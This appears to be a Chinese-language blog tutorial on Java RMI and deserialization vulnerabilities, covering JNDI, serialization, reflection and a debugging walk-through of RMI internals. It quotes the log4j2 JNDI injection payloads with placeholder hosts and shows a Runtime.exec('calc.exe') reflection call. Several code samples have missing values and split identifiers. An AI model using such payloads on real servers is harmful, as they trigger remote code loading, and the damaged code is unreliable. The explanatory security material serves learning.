剖析Java-RMI通信造成的安全隐患

Java
221
0
0
2023-12-09

java

java8和java9,如果有人用javase9的话,有些包的包名不太一样:

  • javase8的包 javax
  • javase9的包是Jakarta

从21年比赛里面慢慢增加了Java安全的部分,php(基本漏洞+反序列化)和 node.js (污染链)就开始少了,java很安全,然后这两年不停地爆出一些高危漏洞。

从 fastjson 就开始非常频繁的曝出漏洞了,然后就是21年的log4j2,以下是网上流传最广的两种 payload :

  • 第一种:${ JNDI :ldap://xxxx.com.cn}
  • 第二种:${jndi:rmi://xxxxx.com.cn}

有些人就会疑惑,利用jndi配合ldap、rmi去做攻击。

我们现在思考一个问题,JNDI是什么:

1)JNDI是由sun公司提供的一种标准的命名系统的接口,它可以把对象和名称给联系起来,可以使我们用一个名称来访问对象;

2)简单来说,它是一个数据源,这个数据源中有一组或者多组。

例如:

$Key1 = value1

$Key2 = value2

RMI是什么?

1)RMI是Java的一组开发分布式应用的API;

2)RMI可以调用远程的方法,比如我们用A主机想要调用B主机上的方法,我们可以让B主机开一个1099端口(RMI服务),然后把这个A想要的类放上去,然后A就可以调用。

既然是远程的方法调用,那如果远程的服务器上有一个可以利用的恶意类,我们是不是就可以去这个远程的主机上调用这个恶意的对象,不过我们得配合一些利用链,最经典的就是 apache commons-collections3.1的利用链。

我们现在思考一个问题,jndi和rmi配合起来可以干什么?

1)JNDI(Java Naming and Directory Interface)是对目录的再封装;

2)假如我们写了一个rmi,再写一个ldap,那么访问的形式(代码形式)是完全不一样的;

3)那这个调用的问题怎么解决?这里就得用到这个jndi,可以让你用几乎差不多的代码形式去调用不同的服务,能够让开发的过程更标准化更轻松。

ldap是什么?

它是一种单点登录的服务。

举个例子:

你想访问你学校的网站,你学校的网站是:

1)你访问了,但是这个服务你要登录;

2)然后你登录了这个1服务,但是现在这个1服务用完了,你继续想去调用2号服务;

3)所以你就需要访问,访问还得有一次身份验证;

4)ldap可以让你访问2的时候不需要去验证。

咱今天讨论的是什么?

一谈到java就是反序列化,因为java的接口很成熟了,不像php的一些网站的开发,你得自己写接口服务,java就连一些你可能会用到的功能,也给你封装成了接口你用就行,所以更加的规范化。每次传输一些东西特别是网络传输,它就得给这个要传输的东西封装+传输+解封装。

这个封装和解封装就是序列化和反序列化,在php里面,反序列化和序列化是对应unserialize和serialize。

在java中它对应的是:

writeObject() 存

readObject() 读

然后解析readObject的时候就可能解析到一个恶意的流,这可能导致一些意外发生。

序列化 基本概念

  • 序列化:将对象写进 IO流
  • 反序列化:将对象从IO流取出来

作用:就是实现Java对象转换成字节序列,这些字节可以放到磁盘,可以网络传输,达到了目的地就可以恢复成原来的对象,序列化的机制可以让对象脱离程序成一个独立的存在。

注意!!java的序列化只保存属性,不存方法。

1)咱提到 Java接口 ,所以序列化和反序列化的接口也是现成的,你得实现一个 java.io .Serializable或者说java.io.Externalizable接口;

2)使用已经在 JDK 中定义好的类ObjectOutputStream(对象的输出流)和ObjectInputStream(对象的输入流);

3)transient关键字修饰后,这个属性不可以被序列化。

序列化代码的实现

 package com.MySerialize;
/**
* 学生接口类
*/public interface Student {
    public String Study();
}
package com.MySerialize;
import java.io.Serializable;
/**
* 学生实现类
*/public class StudentsImpl implements com.MySerialize.Student,  Serializable  {
    public  static  final long serialVersionUID = 123L;
    public int age;
    public String name;
    public StudentsImpl(int age,  String  name) {
        System.out.println("学生实现类被执行了...");
        this.age = age;
    this.name = name;}
    public String Study() {
        return this.name + "同学的年龄是:" + this.age;
    }
    @Override
    public String toString() {
        return "StudentsImpl{" +
            "age=" + age +
            ", name='" + name + ''' +
        '}';
    }
}
package com.MySerialize;
import java.io.FileOutputStream;
import java.io.IO Exception ;
import java.io.ObjectOutputStream;
public class MywriteObj {
    public static  void  main(String[] args) throws IOException{
        com.MySerialize.Student student = new
        com.MySerialize.StudentsImpl(,"nnn");
        System.out.println(student.Study());
        //创建个文件
        ObjectOutputStream oos = new ObjectOutputStream(new
 FileOutputStream ("mywrite.txt"));
        //写入内容
        oos.writeObject(student);
        //强制写出缓存区数据
        oos.flush();
        oos.close();;
    }
}
package com.MySerialize;
import java.io. File InputStream;
import java.io.IOException;
import java.io.Object InputStream ;
import java.io.Serializable;
public class MyreadObj implements Serializable{
    public static void main(String[] args) throws IOException {
        ObjectInputStream ois = new ObjectInputStream(new
 FileInputStream ("mywrite.txt"));
        Object obj = null;
        try {
            obj = ois.readObject();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }
        System.out.println(obj);
        obj.toString();
        ois.close();
    }
} 

这段代码就是正常情况下的序列化和反序列化,如果给一个参数例如age设置了一个修饰符transient,name,在序列化回来后调用totring方法就会把age打印成空。

反射机制

既然咱说到了序列化漏洞,那必须得说说反射机制,因为大部分的序列化漏洞都是用这个机制进行代码执行。

反射是什么?

Java反射是对于任意一个类,我们都可以知道它的属性、方法,对于任意一个对象,都可以调用它的方法、属性,这种动态获得信息以及调用方法的方式称为反射机制。

反射有什么用?

  • 通过反射你可以直接去操作 字节码 片段
  • 反射机制可以操作代码片段( class文件 )

三种获取class的方法:

1) Class.forName(“完整的一个包名”)

2) 对象.getClass()

3) 任何类型(对象).class

 package com.mytest;
public class testdemo {
    public static void main(String[] args) throws ClassNotFoundException{
        System.out.println(Class.forName("com.mytest.kk"));
        kk kk = new kk();
        System.out.println(kk.getClass());
        System.out.println(kk.class);
    }
} 

反射里面实例化一个对象的方法

1) 对象.newInstance();

2) 必须有无参构造

 package com.mytest;
public class testdemo {
    public static void main(String[] args)
    throws ClassNotFoundException,
    InstantiationException,
    IllegalAccessException {
        System.out.println(Class.forName("com.mytest.kk"));
        kk kk = new kk();
        System.out.println(kk.getClass());
        System.out.println(kk.class);
        Object obj = Class.forName("com.mytest.kk").newInstance();
        System.out.println(obj);
    }
} 

接下来我们得说一说方法调用的问题:

  • getMethod():可以通过传参封装进去一个方法名
  • invoke():通过传入类和参数来调用类中的方法

怎么用?

跟getMethod配合使用,getMethod获得一个封装好的Method对象,method.invoke(对象,参数)。

代码改造

 public void ExecTest(){
    //最简单的写法 ,也就是不用反射的写法
    //Runtime.getRuntime().exec("calc.exe");
    try {
        Class c = Class.forName("java.lang.Runtime");
    Object obj = c.getMethod("getRuntime",null).invoke(null); String[] n = {"calc.exe"};
        c.getMethod("exec", String.class).invoke(obj,n);
    } catch (ClassNotFoundException e) {
        e.printStackTrace();
    } catch (IllegalAccessException e) {
        e.printStackTrace();
    } catch (InvocationTargetException e) {
        e.printStackTrace();
    } catch (NoSuchMethodException e) {
        e.printStackTrace();
    }
} 

动态机制代理

基于反射机制,动态代理是利用反射机制来创建代理对象,java有两种动态代理机制:

1)jdk动态代理:通过反射机制,使用java.lang.reflect接口,必须有接口才能用;

2) cglib 动态代理:通过继承类、创建子类,在子类中重写父类方法,实现功能修改,目标类方法不可以是final修饰,没有接口可以用。

我们现在只讲第一种。

RMI

它是一种分布式处理的 RPC 框架,咱既然都说到了RPC(remote procedure call远程过程调用)框架,那比如:

  • rmi(最早期的RPC框架)
  • grpc( 谷歌 的rpc)
  • Dubbo ( 阿里巴巴 开源的RPC框架)

三个部分

  • Serve:提供远程对象,发布远程对象都是它来负责
  • Client:调用远程对象,连接注册中心获取远程对象
  • Registry :一个注册表,存放远程对象的位置,比如:远程的ip、端口、标识符等等…
  • Remote Skeleton:它是一个服务端使用的代理类
  • Remote stub:它是客户端使用的一个代理类

例如:有个DGC_stub那就有一个DGC_ske

JRMP(远程方法协议Java remote method protocol):它是一种协议,是Java特有的。

RMI基本的通信代码

 package com.rmitest;
import java.rmi.Remote;
import java.rmi.RemoteException;
/**
* 定义一个远程接口
* 远程接口的定义得用public修饰
* 必须继承Remote
* 必须调用java.rmi.Remote和java.rmi.RemoteException
*/public interface rmidemo  extends  Remote {
    public String setName(String newname) throws RemoteException;
    public String getName() throws RemoteException;
    public String hello() throws RemoteException;
}
package com.rmitest;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
/**
* 实现远程接口类
* 继承远程接口所有的方法都得抛出RemoteException
* 并且这个方法必须直接继承 Unicast RemoteObject类(这个类他仍然会继承到remote中,所以是一个用
来封装一些东西的类)
* 这个类提供了支持RMI的方法,可以通过JRMP协议导出一个远程对象的引用,生成动态代理构造的stub
* stub的构建其实是在服务端完成的,完成后用的人是客户
*/public class rmidemoImpl extends UnicastRemoteObject implements rmidemo{
 private  String name;
    public rmidemoImpl(String name) throws RemoteException {
        System.out.println("无参构造被调用了...");
        this.name = name;
    }
    @Override
    public String setName(String newname) throws RemoteException {
        name = newname;
        return "您已经设置了用户" + name;
    }
    @Override
    public String getName() throws RemoteException {
        return name;
    }@Override
    public String hello() throws RemoteException {
        System.out.println("hello方法已经被调用了...");
        return null;
    }
}
package com.rmitest;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.Locate registry ;
import java.rmi.registry.Registry;
/**
* 创建客户端实体类
*/public class client {
    public static void main(String[] agrs) throws RemoteException,
    NotBoundException {
        //获取远程主机对象
        Registry registry = LocateRegistry.getRegistry("localhost",);
        //利用注册表的代理去查询注册表中我们绑定的hello这个别名
        rmidemo rd = (rmidemo) registry.lookup("hello");
        //调用远程方法
        System.out.println(rd.hello());
        //利用注册表中的代理调用远程方法给name赋值
        System.out.println(rd.setName("kk"));
        System.out.println(rd.getName());
    }
}
package com.rmitest;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
/**
* 服务端实体类
*/public class server {
    public static void main(String[] args) throws RemoteException,
    AlreadyBoundException {
        //创建远程对象
        rmidemo rd = new rmidemoImpl("");
        //注册表创建
        Registry registry = LocateRegistry.createRegistry();
        //绑定一个对象到注册表中
        registry.bind("hello",rd);
        System.out.println("服务端已经创建成功了...");
    }
} 

RMI源码动态调试分析

服务端发布动态调试,首先去UnicastRemoteObject的无参 构造方法 打一个断点:

这里咱可以看到它调用了一次有参构造传参是一个int整形的形式:

之后它会调用一次exportObject(),然后传参是当前类和一个端口号,会new一个UnicastServerRef方法,后面咱管它叫远程服务引用:

然后它调用进来后会再调用一层LiveRef,后面咱管它叫实时引用:

这里它又套了一层objID,是一个id号我们不关心它怎么用,然后它会调用一次本类中的有参构造,传入的是一个对象和一个端口号0:

后来它会调用一个TCPEndpoint下的方法,这个方法是网络传输要用的:

后续会调用一个resampleLocalHost来解析本地主机,后来调用了一个TCPTransport打点跟进:

这里就是获取了一个ip,没有什么可利用点。

我们在 debug 的时候要分主次,第一次分析可以全看搞懂原理,但是第二次调试要分主次的调试,把中心放到认为可能出现漏洞的地方,就比如说传输数据。

这里会去调用exportObject

这里获取了一个字节码文件,当我们获取了字节码文件的时候,那肯定就是对这个类要做操作了,这里直接调用了createProxy创建代理,然后它会用stubClass Exists ()方法判断这个subclass存不存在:

这里只是改了名称给拼了一块_Stub:

这里设置了一个服务端用的代理类,但是进不去所以没办法做更多的操作。

后续会把我们已经封装好的一些东西再封装起来,放进target中:

后续有一个垃圾回收机制的创建,也是个stub

注册表的创建

客户端请求注册中心

这里可以看到new了2个对象,中间的部分很长,咱们不直接去一点一点调,时间有限咱直接去主要的方法开始看:

 writeObject(var);
this.ref.invoke(var);
var = (Remote)var4.readObject(); 

从静态流程来看的话,先写后读,我们如果给到一个恶意的流,它读的时候受到攻击。

这里我们继续跟invoke:

这里是一个激活的方法,只要请求走网络就调用,如果有一个漏洞,那很容易造成损失。

这里有个readbject没任何防护,它是一个异常类,就是说有一个恶意的返回,那我们客户端会调用,所以客户端也会受到攻击,几乎每个网络请求都会走到这个方法中,所以这个方法很主要,rmi的设计之初也没想这个安全问题所以没任何过滤。

总结

我们可以rmi服务来打服务端,服务端也能通过这个打客户端,后者一般是蜜罐中可以用。

高版本的绕过: 高版本中绕过,其实是用服务端来调用服务端,服务端自身就是客户端,因为在修复的时候估计没有把客户端可能受到攻击当做一种影响,后来就被发掘了一下。